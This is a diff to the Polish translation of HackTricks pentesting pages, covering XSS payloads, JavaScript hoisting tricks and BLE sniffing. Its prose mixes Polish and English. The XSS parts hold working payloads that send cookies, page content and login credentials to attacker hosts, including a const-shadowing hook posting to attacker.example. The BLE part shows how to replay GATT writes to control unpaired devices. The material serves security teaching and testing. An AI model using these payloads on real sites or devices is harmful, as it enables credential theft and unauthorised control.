-[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowywane przez Node.js wewnątrz funkcji, w następujący sposób:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowywane przez Node.js w funkcję, w następujący sposób:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@@ -1051,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Podobnie jak w poprzednim przykładzie, możliwe jest **use error handlers** aby uzyskać dostęp do **wrapper** modułu i otrzymać funkcję **`require`**:
+Podobnie jak w poprzednim przykładzie, można **use error handlers** w celu uzyskania dostępu do **wrapper** modułu i zdobycia funkcji **`require`**:
 ```javascript
 try {
 null.f()
@@ -1270,25 +1271,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS typowe payloady
+## XSS common payloads
 
-### Kilka payloads w 1
+### Several payloads in 1
 
 
 {{#ref}}
 steal-info-js.md
 {{#endref}}
 
-### Pułapka iframe
+### Iframe Trap
 
-Spraw, aby użytkownik poruszał się po stronie bez opuszczania iframe i przechwyć jego działania (w tym informacje przesyłane w formularzach):
+Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytuj jego działania (w tym informacje wysyłane w formularzach):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Pobieranie cookies
+### Pobierz Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1311,9 +1312,9 @@ Spraw, aby użytkownik poruszał się po stronie bez opuszczania iframe i przech
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> **Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript** jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) jeśli będziesz miał szczęście.
+> **Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli będziesz miał szczęście.
 
-### Wykradanie zawartości strony
+### Kradzież zawartości strony
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1402,11 +1403,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Krótkie czasy wskazują port odpowiadający_ _Dłuższe czasy wskazują brak odpowiedzi._
+_Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują brak odpowiedzi._
 
-Przejrzyj listę portów zablokowanych w Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Przejrzyj listę ports zablokowanych w Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Pole do żądania poświadczeń
+### Pole do żądania credentials
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
@@ -1421,11 +1422,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Kiedy w password field zostaną wprowadzone jakiekolwiek dane, username i password są wysyłane do attackers server; nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
+Kiedy jakiekolwiek dane zostaną wprowadzone w polu password, username i password są wysyłane do attackers server — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
 
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a Twój payload uruchamia się wcześniej (np. via an inline JS-in-JS sink), zdefiniuj najpierw `const` o tej samej nazwie, aby przechwycić i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy `const`, pozostawiając Twój hook w kontroli:
+Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. poprzez inline JS-in-JS sink), zadeklaruj najpierw `const` o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy zadeklarowanej jako `const`, pozostawiając twój hook pod kontrolą:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1433,14 +1434,14 @@ const user = Trim(FormInput.InputUtente.value);
 fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
 };
 ```
-Uwagi
-- To zależy od kolejności wykonywania: twój injection musi się wykonać przed prawidłową deklaracją.
-- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki wstrzykiwania `<script>` z sekcji “Deliverable payloads with eval(atob()) and scope nuances” aby zapewnić prawdziwe globalne, nieprzebindowywalne wiązanie.
-- Kiedy filtry słów kluczowych blokują kod, połącz to z Unicode-escaped identifiers lub dostarczeniem przez `eval(atob('...'))`, jak pokazano powyżej.
+Notatki
+- Zależy to od kolejności wykonywania: your injection musi wykonać się przed prawidłową deklaracją.
+- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki `<script>` injection z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe globalne, nieprzebindowalne wiązanie.
+- Gdy filtry słów kluczowych blokują kod, połącz to z Unicode-escaped identifiers lub dostarczeniem przez `eval(atob('...'))`, jak pokazano powyżej.
 
 ### Keylogger
 
-Szukając na GitHub znalazłem kilka różnych:
+Po przeszukaniu github znalazłem kilka różnych:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@@ -1470,14 +1471,14 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### Wykorzystywanie Service Workers
+### Abusing Service Workers
 
 
 {{#ref}}
 abusing-service-workers.md
 {{#endref}}
 
-### Dostęp do Shadow DOM
+### Accessing Shadow DOM
 
 
 {{#ref}}
@@ -1560,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Dostęp do ukrytej zawartości
 
-Z [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS różnych obiektów. Na przykład input REGEX nadal można znaleźć po usunięciu wartości pola regexa:
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć nawet po usunięciu wartości pola input regex:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1577,18 +1578,17 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force List
-
+### Lista Brute-Force
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS — nadużywanie innych podatności
+## XSS — wykorzystywanie innych podatności
 
 ### XSS w Markdown
 
-Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź:
+Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź:
 
 
 {{#ref}}
@@ -1597,24 +1597,24 @@ xss-in-markdown.md
 
 ### XSS do SSRF
 
-Masz XSS na **site, który korzysta z cache'owania**? Spróbuj **przekuć to w SSRF** przez Edge Side Include Injection za pomocą tego payload:
+Masz XSS na **stronie korzystającej z cache'owania**? Spróbuj **przekształcić to w SSRF** przez Edge Side Include Injection, używając tego payloadu:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Użyj tego, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\
+Użyj go, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\
 Więcej informacji o tej technice tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
 ### XSS w dynamicznie tworzonym PDF
 
-Jeśli strona web tworzy PDF używając danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
-Więc, jeśli **bot tworzący PDF znajdzie** jakieś **HTML** **tagi**, to je **zinterpretuje**, i możesz **nadużyć** tego zachowania, by spowodować **Server XSS**.
+Jeśli strona tworzy PDF przy użyciu danych pochodzących od użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
+Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **HTML** **tagów**, zacznie je **interpretować**, i możesz **nadużyć** tego zachowania, aby spowodować **Server XSS**.
 
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Jeśli nie możesz wstrzyknąć tagów HTML, może warto spróbować **wstrzyknąć dane PDF**:
+Jeśli nie możesz wstrzyknąć tagów HTML, warto spróbować **wstrzyknąć dane PDF**:
 
 
 {{#ref}}
@@ -1623,15 +1623,15 @@ pdf-injection.md
 
 ### XSS w Amp4Email
 
-AMP, stworzone w celu przyspieszenia wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje wiele komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, mające na celu przyspieszenie wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność ze szczególnym naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach.
+The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach e-mail.
 
 Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
 ### XSS przy przesyłaniu plików (svg)
 
-Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Prześlij jako obraz plik taki jak poniższy (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1705,7 +1705,7 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
-## Źródła
+## Referencje
 
 - [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 - [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Podstawowe informacje
+## Basic Information
 
-W języku JavaScript istnieje mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie podnoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przetwarza skrypt w kilku przejściach.
+W języku JavaScript opisany jest mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie przenoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przechodzi przez skrypt w kilku przejściach.
 
-Podczas pierwszego przejścia silnik parsuje kod w celu wykrycia błędów składniowych i przekształca go w abstrakcyjne drzewo składniowe. Ta faza obejmuje hoisting — proces, w którym niektóre deklaracje są przenoszone na początek kontekstu wykonania. Jeśli faza parsowania zakończy się sukcesem, czyli bez błędów składniowych, wykonanie skryptu jest kontynuowane.
+Podczas pierwszego przejścia silnik parsuje kod, aby sprawdzić błędy składniowe i przekształcić go w abstract syntax tree. Ta faza obejmuje hoisting — proces, w którym pewne deklaracje są przesuwane na początek kontekstu wykonania. Jeśli faza parsowania zakończy się powodzeniem, czyli nie wystąpią błędy składniowe, następuje wykonanie skryptu.
 
-Kluczowe jest zrozumienie, że:
+Ważne jest zrozumienie, że:
 
-1. Skrypt musi być pozbawiony błędów składniowych, aby doszło do jego wykonania. Zasady składni muszą być ściśle przestrzegane.
-2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, choć wykonywany kod może różnić się od jego reprezentacji tekstowej.
+1. Skrypt musi być wolny od błędów składniowych, aby mógł zostać wykonany. Zasady składniowe muszą być ściśle przestrzegane.
+2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, chociaż wykonywany kod może różnić się od jego reprezentacji tekstowej.
 
-#### Rodzaje hoistingu
+#### Types of Hoisting
 
-Na podstawie informacji z MDN istnieją cztery odrębne rodzaje hoistingu w JavaScript:
+Na podstawie informacji z MDN wyróżnia się cztery odrębne typy hoistingu w JavaScript:
 
-1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w obrębie jej zakresu przed linią jej deklaracji.
-2. **Declaration Hoisting**: Pozwala odwołać się do zmiennej w jej zakresie przed deklaracją bez wywołania `ReferenceError`, jednak wartością tej zmiennej będzie `undefined`.
-3. Ten typ zmienia zachowanie w obrębie zakresu z powodu deklaracji zmiennej przed jej faktyczną linią deklaracji.
-4. Skutki uboczne deklaracji występują przed oceną reszty kodu, który ją zawiera.
+1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w jej zakresie przed linią jej deklaracji.
+2. **Declaration Hoisting**: Pozwala odwołać się do zmiennej w jej zakresie przed deklaracją bez powodowania `ReferenceError`, ale wartość zmiennej będzie `undefined`.
+3. Ten typ powoduje zmianę zachowania w obrębie zakresu, ponieważ zmienna jest traktowana jako zadeklarowana przed swoją rzeczywistą linią deklaracji.
+4. Skutki uboczne deklaracji zachodzą przed oceną reszty kodu, który ją zawiera.
 
-Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe `var` demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują `let`, `const` i `class`, wykazują zachowanie typu 3. Na koniec instrukcje `import` są wyjątkowe — są hoistowane zarówno z zachowaniem typu 1, jak i typu 4.
+Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe `var` demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują `let`, `const` i `class`, wykazują zachowanie typu 3. Na koniec, instrukcje `import` są unikalne, ponieważ są hoistowane z zachowaniami zarówno typu 1, jak i typu 4.
 
-## Scenariusze
+## Scenarios
 
-W związku z tym, jeśli masz scenariusze, w których możesz **Inject JS code after an undeclared object** is used, możesz **fix the syntax** przez zadeklarowanie go (tak by twój kod został wykonany zamiast wyrzucać błąd):
+W związku z tym, jeśli masz scenariusze, w których możesz **wstrzyknąć kod JS po tym, jak użyto niezadeklarowanego obiektu**, możesz **poprawić składnię** poprzez jego zadeklarowanie (tak aby twój kod został wykonany zamiast wyrzucać błąd):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -129,9 +129,9 @@ alert(1) -
 }
 trigger()
 ```
-### Zapobiegaj późniejszym deklaracjom, blokując nazwę za pomocą const
+### Przechwyć późniejsze deklaracje blokując nazwę za pomocą const
 
-Jeśli możesz wykonać kod zanim zostanie sparsowana deklaracja top-level `function foo(){...}`, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. `const foo = ...`) zapobiegnie ponownemu związaniu tego identyfikatora przez późniejszą deklarację funkcji. To może być nadużyte w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie:
+Jeśli możesz wykonać kod przed tym, jak zostanie sparsowana najwyższa deklaracja `function foo(){...}`, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. `const foo = ...`) uniemożliwi późniejszej deklaracji funkcji ponowne powiązanie tego identyfikatora. Można to wykorzystać w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie:
 ```javascript
 // Malicious code runs first (e.g., earlier inline <script>)
 const DoLogin = () => {
@@ -143,11 +143,11 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 // Later, the legitimate page tries to declare:
 function DoLogin(){ /* ... */ } // cannot override the existing const binding
 ```
-Uwagi
-- To opiera się na kolejności wykonywania i zakresie globalnym (top-level).
-- Jeśli twój payload jest wykonywany wewnątrz `eval()`, pamiętaj, że `const/let` wewnątrz `eval` mają zasięg blokowy i nie utworzą wiązań globalnych. Wstrzyknij nowy element `<script>` z kodem, aby ustanowić prawdziwy globalny `const`.
+Notatki
+- To opiera się na kolejności wykonywania i globalnym (top-level) zakresie.
+- Jeśli Twój payload jest wykonywany wewnątrz `eval()`, pamiętaj, że `const/let` wewnątrz `eval` są block-scoped i nie utworzą globalnych wiązań. Wstrzyknij nowy element `<script>` z kodem, aby ustanowić prawdziwy globalny `const`.
 
-## Źródła
+## Referencje
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

@@ -4,21 +4,21 @@
 
 ## Wprowadzenie
 
-Dostępny od specyfikacji Bluetooth 4.0, BLE używa tylko 40 kanałów, obejmujących zakres 2400–2483.5 MHz. Dla porównania tradycyjny Bluetooth używa 79 kanałów w tym samym paśmie.
+Dostępny od specyfikacji Bluetooth 4.0, BLE używa tylko 40 kanałów, obejmujących zakres 2400–2483.5 MHz. Dla porównania, tradycyjny Bluetooth używa 79 kanałów w tym samym paśmie.
 
-Urządzenia BLE komunikują się poprzez wysyłanie advertising packets (beacons) — pakiety te rozgłaszają istnienie urządzenia BLE innym pobliskim urządzeniom. Te beacony czasami również przesyłają dane.
+Urządzenia BLE komunikują się przez wysyłanie **advertising packets** (**beacons**); pakiety te rozgłaszają istnienie urządzenia BLE innym pobliskim urządzeniom. Te beacony czasami również **wysyłają dane**.
 
-Urządzenie nasłuchujące, zwane też central device, może odpowiedzieć na advertising packet za pomocą SCAN request wysłanego bezpośrednio do urządzenia reklamującego się. Response na to żądanie ma taką samą strukturę jak advertising packet, z dodatkowymi informacjami, które nie zmieściły się w początkowym żądaniu reklamowym, np. pełną nazwą urządzenia.
+Urządzenie nasłuchujące, zwane też urządzeniem centralnym, może odpowiedzieć na advertising packet za pomocą **SCAN request** wysłanego konkretnie do nadającego urządzenia. **Response** na to skanowanie używa tej samej struktury co **advertising** packet z dodatkowymi informacjami, które nie zmieściły się w początkowym advertising request — na przykład pełną nazwą urządzenia.
 
 ![](<../../images/image (152).png>)
 
-Bajt preambuły synchronizuje częstotliwość, natomiast czterobajtowy access address jest connection identifier, używany gdy wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie Protocol Data Unit (PDU) zawiera advertising data. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU ADV_NONCONN_IND, jeśli nie akceptują połączeń, przesyłając dane tylko w advertising packet. Urządzenia używają ADV_IND, jeśli allow connections i przestają wysyłać advertising packets po nawiązaniu connection.
+Bajt preambuły synchronizuje częstotliwość, natomiast czterobajtowy access address jest identyfikatorem połączenia, używanym w scenariuszach, gdy wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie Protocol Data Unit (**PDU**) zawiera **advertising data**. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU ADV_NONCONN_IND, jeśli **nie akceptują połączeń**, transmitując dane tylko w advertising packet. Urządzenia używają ADV_IND, jeśli **pozwalają na połączenia** i **przestają wysyłać advertising** pakiety po nawiązaniu **połączenia**.
 
 ### GATT
 
-Generic Attribute Profile (GATT) definiuje, w jaki sposób urządzenie powinno formatować i przesyłać dane. Analizując powierzchnię ataku urządzenia BLE często koncentrujesz się na GATT (lub GATTs), ponieważ to on określa, jak wywoływana jest funkcjonalność urządzenia oraz jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia characteristics, descriptors i services urządzenia w tabeli jako wartości 16- lub 32-bitowe. Characteristic to wartość danych przesyłana między central device a peripheral. Te characteristics mogą mieć descriptors, które dostarczają dodatkowych informacji o nich. Characteristics są często grupowane w services, jeśli są powiązane z wykonywaniem konkretnej czynności.
+The Generic Attribute Profile (GATT) definiuje, jak **urządzenie powinno formatować i przesyłać dane**. Analizując powierzchnię ataku urządzenia BLE, często koncentrujesz się na GATT (lub GATTs), ponieważ to tam **wyzwalana jest funkcjonalność urządzenia** oraz gdzie dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy (characteristics), deskryptory (descriptors) i usługi (services) urządzenia w tabeli jako wartości 16- lub 32-bitowe. **Characteristic** to wartość **danych** wymieniana między urządzeniem centralnym a peryferyjnym. Te characteristic mogą mieć **descriptors**, które **dostarczają dodatkowych informacji** o nich. Characteristic są często **grupowane** w **services**, jeśli są powiązane z wykonywaniem konkretnej czynności.
 
-## Enumeration
+## Enumeracja
 ```bash
 hciconfig #Check config, check if UP or DOWN
 # If DOWN try:
@@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
 ```
 ### GATTool
 
-**GATTool** umożliwia **nawiązać** **connection** z innym urządzeniem, wylistowanie jego **characteristics**, oraz odczyt i zapis jego attributes.\
-GATTTool może uruchomić interactive shell za pomocą opcji `-I`:
+**GATTool** pozwala na **nawiązanie** **połączenia** z innym urządzeniem, wypisując charakterystyki tego urządzenia oraz odczytując i zapisując jego atrybuty.\
+GATTTool może uruchomić interaktywną powłokę za pomocą opcji `-I`:
 ```bash
 gatttool -i hci0 -I
 [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
 >> ble.write <MAC ADDR> <UUID> <HEX DATA>
 >> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
 ```
-## Sniffing i aktywne kontrolowanie nieparowanych urządzeń BLE
+## Sniffing i aktywne kontrolowanie niesparowanych urządzeń BLE
 
-Wiele tanich peryferiów BLE nie wymusza pairing/bonding. Bez bonding, Link Layer encryption nigdy nie jest włączone, więc ruch ATT/GATT jest w postaci jawnego tekstu. Off-path sniffer może śledzić połączenie, dekodować operacje GATT, aby poznać uchwyty charakterystyk i ich wartości, a każdy pobliski host może następnie połączyć się i odtworzyć te zapisy, aby kontrolować urządzenie.
+Wiele tanich peryferiów BLE nie wymusza pairing/bonding. Bez bonding szyfrowanie Link Layer nigdy nie jest włączane, więc ruch ATT/GATT jest w postaci jawnego tekstu. Off-path sniffer może śledzić połączenie, dekodować operacje GATT, aby poznać characteristic handles i wartości, a każdy pobliski host może następnie połączyć się i replay those writes, aby kontrolować urządzenie.
 
 ### Sniffing with Sniffle (CC26x2/CC1352)
 
-Hardware: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) z ponownie wgranym firmware Sniffle firmy NCC Group.
+Sprzęt: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) przeflashowany z firmware'em Sniffle od NCC Group.
 
-Install Sniffle and its Wireshark extcap on Linux:
+Zainstaluj Sniffle i jego Wireshark extcap na Linuksie:
 ```bash
 if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
 echo "[+] - Sniffle not installed! Installing at 1.10.0..."
@@ -91,7 +91,7 @@ else
 echo "[+] - Sniffle already installed at 1.10.0"
 fi
 ```
-Wgraj Sniffle firmware na Sonoff (upewnij się, że urządzenie szeregowe jest poprawne, np. /dev/ttyUSB0):
+Wgraj do Sonoff firmware Sniffle (upewnij się, że port szeregowy jest poprawny, np. /dev/ttyUSB0):
 ```bash
 pushd /opt/sniffle/
 wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@@ -108,7 +108,7 @@ Przechwyć w Wireshark za pomocą Sniffle extcap i szybko przejdź do zapisów z
 ```text
 _ws.col.info contains "Sent Write Command"
 ```
-To pokazuje ATT Write Commands wysyłane przez klienta; uchwyt i wartość często bezpośrednio odpowiadają działaniom urządzenia (np. zapis 0x01 do charakterystyki buzzer/alert, 0x00 — aby zatrzymać).
+To wyróżnia ATT Write Commands wysyłane przez klienta; handle i wartość często bezpośrednio odpowiadają akcjom urządzenia (np. zapisz 0x01 do buzzer/alert characteristic, 0x00 aby zatrzymać).
 
 Szybkie przykłady Sniffle CLI:
 ```bash
@@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
 # Filter advertisements containing a string
 python3 sniffer.py --string "banana" --output sniff.pcap
 ```
-Alternatywny sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin też działa. Na małych/tanich Nordic donglach zazwyczaj nadpisuje się USB bootloader, aby załadować sniffer firmware, więc albo zachowujesz dedykowany dongle-sniffer, albo potrzebujesz J-Link/JTAG do późniejszego przywrócenia bootloadera.
+Alternatywny sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin również działa. Na małych/tańszych donglach Nordic zwykle nadpisuje się USB bootloader, aby wgrać sniffer firmware, więc albo zachowujesz dedykowany sniffer dongle, albo potrzebujesz J-Link/JTAG, aby później przywrócić bootloader.
 
-### Active control via GATT
+### Aktywne sterowanie przez GATT
 
-Gdy zidentyfikujesz writable characteristic handle i wartość ze sniffed traffic, połącz się jako dowolny central i wykonaj ten sam Write:
+Po zidentyfikowaniu writable characteristic handle i value ze sniffed traffic, połącz się jako dowolne central i wykonaj ten sam zapis:
 
 - Za pomocą Nordic nRF Connect for Desktop (BLE app):
-- Wybierz nRF52/nRF52840 dongle, zeskanuj i połącz się z targetem.
-- Przeglądaj GATT database, zlokalizuj target characteristic (często ma przyjazną nazwę, np. Alert Level).
-- Wykonaj Write ze sniffed bytes (np. 01 aby wyzwolić, 00 aby zatrzymać).
+- Wybierz dongle nRF52/nRF52840, zeskanuj i połącz się z docelowym urządzeniem.
+- Przeglądaj bazę GATT, zlokalizuj docelową characteristic (często ma przyjazną nazwę, np. Alert Level).
+- Wykonaj Write z sniffed bytes (np. 01 aby wywołać, 00 aby zatrzymać).
 
-- Automatyzuj na Windows z Nordic dongle używając Python + blatann:
+- Zautomatyzuj na Windows przy użyciu dongla Nordic i Python + blatann:
 ```python
 import time
 import blatann
@@ -169,13 +169,13 @@ peer.disconnect()
 peer.wait_for_disconnect()
 ble_device.close()
 ```
-### Uwagi operacyjne i środki zaradcze
+### Notatki operacyjne i środki zaradcze
 
-- Preferuj Sonoff+Sniffle na Linuxie dla niezawodnego przeskakiwania kanałów i śledzenia połączeń. Miej zapasowy Nordic sniffer jako kopię zapasową.
-- Bez pairing/bonding każdy pobliski atakujący może obserwować zapisy i odtwarzać/tworzyć własne do unauthenticated writable characteristics.
-- Środki zaradcze: wymagaj pairing/bonding i wymuszaj szyfrowanie; ustaw uprawnienia characteristic tak, aby wymagały authenticated writes; minimalizuj unauthenticated writable characteristics; weryfikuj GATT ACLs za pomocą Sniffle/nRF Connect.
+- Preferuj Sonoff+Sniffle na Linux dla niezawodnego channel hopping i śledzenia połączeń. Trzymaj zapasowy Nordic sniffer jako rezerwę.
+- Bez pairing/bonding, każdy pobliski atakujący może obserwować writes i replay/craft własne do unauthenticated writable characteristics.
+- Środki zaradcze: wymagaj pairing/bonding i wymuś szyfrowanie; ustaw uprawnienia characteristic, aby wymagały authenticated writes; minimalizuj unauthenticated writable characteristics; zweryfikuj GATT ACLs za pomocą Sniffle/nRF Connect.
 
-## References
+## Referencje
 
